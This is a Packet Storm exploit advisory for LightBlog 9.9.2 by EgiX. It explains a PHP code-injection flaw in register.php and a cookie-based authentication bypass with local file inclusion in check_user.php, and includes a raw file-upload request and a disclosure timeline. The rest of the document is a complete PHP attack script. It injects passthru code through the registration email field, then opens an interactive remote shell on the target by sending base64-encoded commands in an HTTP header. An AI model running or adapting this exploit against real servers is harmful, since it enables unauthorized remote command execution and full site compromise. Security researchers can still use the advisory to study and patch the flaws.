LightBlog 9.9.2 Code Execution

2009-04-28T00:00:00
ID PACKETSTORM:77026
Type packetstorm
Reporter EgiX
Modified 2009-04-28T00:00:00

Description

                                        
                                            `<?  
  
/*  
---------------------------------------------------------------  
LightBlog <= 9.9.2 (register.php) Remote Code Execution Exploit  
---------------------------------------------------------------  
  
author...: EgiX  
mail.....: n0b0d13s[at]gmail[dot]com  
  
link.....: http://www.publicwarehouse.co.uk/  
demo.....: http://www.bailey-projects.com/projects/1/lightblog/  
  
This PoC was written for educational purpose. Use it at your own risk.  
Author will be not responsible for any damage.  
  
[-] vulnerable code in /register.php  
  
58. $username_towrite = stripslashes(htmlspecialchars($_POST['username_post'], ENT_QUOTES));  
59. $password_towrite = stripslashes(md5(htmlspecialchars($_POST['pwd1_post'], ENT_QUOTES)));  
60. $name_towrite = stripslashes(htmlspecialchars($_POST['name_post'], ENT_QUOTES));  
61. $email_towrite = stripslashes(htmlspecialchars($_POST['email_post'], ENT_QUOTES));  
62.   
63. $newaccountfile = "./accounts/{$username_towrite}.php";  
64.   
65. $details = "<?php  
66. \$password = \"{$password_towrite}\";  
67. \$name = \"{$name_towrite}\";  
68. \$email = \"{$email_towrite}\";  
69. \$type = \"member\";  
70. \$location = \"\";  
71. \$aboutme = \"\";  
72. \$website = \"\";  
73. ?>";  
74.   
75. $fd = fopen ($newaccountfile, "w");  
76. chmod($newaccountfile, 0777);  
77. fwrite ($fd, $details);  
78. fclose($fd);  
  
An attacker could be able to inject and execute arbitrary PHP code due to new accounts are saved  
with "php" extension. This is possible because input is not properly sanitised, so you can use  
"complex curly syntax", which allows to put complex expressions into string definitions.  
  
[-] vulnerable code in /check_user.php  
  
6. if(isset($_COOKIE['Lightblog_username']) and isset($_COOKIE['Lightblog_password'])){  
7.   
8. $username_cookie = $_COOKIE['Lightblog_username'];  
9. $password_cookie = $_COOKIE['Lightblog_password'];  
10.   
11. if(file_exists("./accounts/{$username_cookie}.php")){  
12.   
13. include("./accounts/{$username_cookie}.php");  
14.   
15. if($password_cookie != $password){  
16.   
17. setcookie("Lightblog_password", "", time()-9999999);  
18. setcookie("Lightblog_username", "", time()-9999999);  
19. echo "<script>location.replace('login.php')</script>";  
20. exit;   
21.   
22. } else {   
23. $username = $username_cookie;  
24. $user = true;   
25. }  
  
In addition to the LFI (line 13), an attacker could be able to bypass the authentication by  
setting special crafted cookies. So anyone can access to cp_*.php and is able to to upload  
arbitrary file or put malicious php code into e.g. settings.php. Arbitrary file upload poc:  
  
POST /lightblog/cp_preview.php HTTP/1.0  
Host: localhost  
Cookie: Lightblog_password=; Lightblog_username=../header  
Content-Length: 166  
Content-Type: multipart/form-data; boundary=o0oOo0o  
Connection: close  
  
--o0oOo0o  
Content-Disposition: form-data; name="image"; filename="poc.php"  
  
<?php evil_code(); ?>  
--o0oOo0o--  
  
  
[-] Disclosure timeline:  
  
[21/04/2009] - Bug discovered  
[22/04/2009] - Vendor contacted but no response  
[25/04/2009] - Vendor contacted again still no response  
[26/04/2009] - Vendor has deleted any reference to LighBlog on his site (???)  
[27/04/2009] - Public disclosure  
  
*/  
  
error_reporting(0);  
set_time_limit(0);  
ini_set("default_socket_timeout", 5);  
  
function http_send($host, $packet)  
{  
if (($s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) == false)  
die("\nsocket_create(): " . socket_strerror($s) . "\n");  
  
if (socket_connect($s, $host, 80) == false)  
die("\nsocket_connect(): " . socket_strerror(socket_last_error()) . "\n");  
  
socket_write($s, $packet, strlen($packet));  
while ($m = socket_read($s, 2048)) $response .= $m;  
  
socket_close($s);  
return $response;  
}  
  
print "\n+-------------------------------------------------------------------------+";  
print "\n| LightBlog <= 9.9.2 (register.php) Remote Code Execution Exploit by EgiX |";  
print "\n+-------------------------------------------------------------------------+\n";  
  
if ($argc < 3)  
{  
print "\nUsage......: php $argv[0] host path\n";  
print "\nExample....: php $argv[0] localhost /";  
print "\nExample....: php $argv[0] localhost /lightblog/\n\n";  
die();  
}  
  
$host = $argv[1];  
$path = $argv[2];  
  
$code = rawurlencode('{${error_reporting(0)}}{${print(_code_)}}{${passthru(base64_decode($_SERVER[HTTP_CMD]))}}{${die}}');  
  
$payload = "username_post=test&pwd1_post=test&pwd2_post=test&name_post=test&email_post={$code}";  
$packet = "POST {$path}register.php HTTP/1.0\r\n";  
$packet .= "Host: {$host}\r\n";  
$packet .= "Content-Length: ".strlen($payload)."\r\n";  
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";  
$packet .= "Connection: close\r\n\r\n";  
$packet .= $payload;  
  
http_send($host, $packet);  
  
$packet = "GET {$path} HTTP/1.0\r\n";  
$packet .= "Host: {$host}\r\n";  
$packet .= "Cookie: Lightblog_password=; Lightblog_username=test\r\n";  
$packet .= "Cmd: %s\r\n";  
$packet .= "Connection: close\r\n\r\n";  
  
while(1)  
{  
print "\nlightblog-shell# ";  
if (($cmd = trim(fgets(STDIN))) == "exit") break;  
$response = http_send($host, sprintf($packet, base64_encode($cmd)));  
preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed\n");  
}  
  
?>  
  
`